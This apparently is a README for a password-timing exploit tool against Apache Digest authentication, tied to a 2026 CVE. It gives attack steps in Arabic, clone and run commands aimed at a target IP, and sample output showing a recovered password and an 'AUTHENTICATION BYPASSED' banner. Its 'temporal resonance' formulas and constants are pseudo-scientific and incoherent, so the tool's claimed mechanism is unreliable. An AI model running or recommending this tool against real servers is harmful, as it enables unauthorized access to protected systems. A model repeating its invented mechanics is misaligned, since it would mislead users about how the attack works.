E(d) = E₀ * e^(-α * d)

delay = τ_w * priority * (1 + 0.1 * cos(2π * zero * τ_w * priority))

survival = cos(α_RH * energy * τ_w) > (α_RH / 2π)

1. استكشاف الهدف للتحقق من مصادقة Digest
2. استخراج realm و nonce من استجابة 401
3. لكل طبقة d من 1 إلى 33:
   أ. حساب الأولوية = e^(-α*d)
   ب. تطبيق تأخير رنين الطور
   ج. لكل موضع حرف:
      - اختبار جميع الأحرف الممكنة
      - قياس توقيت الاستجابة (بالميكروثانية)
      - تطبيق مرشح الإسفين الزمني
      - الاحتفاظ بالحرف ذي أعلى توقيت معدّل
   د. بناء كلمة المرور تدريجيًا
4. تحقيق الرنين الزمني
5. تجاوز المصادقة بكلمة المرور المستردة

pip install requests

git clone https://github.com/SimoesCTT/CTT-enhanced-Apache-mod_auth_digest-timing-attack-exploit/
python3 ctt_apache_digest_timing.py <target_ip> [options]

python3 ctt_apache_digest_timing.py 192.168.1.100 --port 80 --realm "Restricted" --uri /admin --samples 100 --layers 33

======================================================================
CTT APACHE DIGEST TIMING ATTACK — CVE-2026-33006
α=0.0302011 | α_RH=0.0765872 | L=33 | τ_w=11ns
E(d) = E₀ * e^(-α*d) — Exponential priority decay
======================================================================

[+] Digest authentication detected
    Realm: Restricted
    Nonce: 5a4b3c2d1e2f3a4b5c6d...
[*] Target: http://192.168.1.100/admin
[*] Max password length: 32

  Layer  1/33: ████████████████████████████████████████ 1.000
  Position 1: trying chars...
  Found: 'a' -> password: 'a'

  Layer  2/33: ██████████████████████████████████████░░ 0.970
  Position 2: trying chars...
  Found: 'd' -> password: 'ad'

  Layer  3/33: ████████████████████████████████████░░░░ 0.886
  Position 3: trying chars...
  Found: 'm' -> password: 'adm'

  Layer  4/33: ██████████████████████████████████░░░░░░ 0.818
  Position 4: trying chars...
  Found: 'i' -> password: 'admi'

  Layer  5/33: ████████████████████████████████░░░░░░░░ 0.741
  Position 5: trying chars...
  Found: 'n' -> password: 'admin'

  Layer  6/33: ██████████████████████████████░░░░░░░░░░ 0.670
  Position 6: trying chars...
  Found: '1' -> password: 'admin1'

  Layer  7/33: ████████████████████████████░░░░░░░░░░░░ 0.606
  Position 7: trying chars...
  Found: '2' -> password: 'admin12'

  Layer  8/33: ██████████████████████████░░░░░░░░░░░░░░ 0.548
  Position 8: trying chars...
  Found: '3' -> password: 'admin123'

[⚡] Temporal resonance achieved at layer 8

======================================================================
[!!!] AUTHENTICATION BYPASSED
[!!!] Password found: admin123
[✓] Verification successful — access granted
======================================================================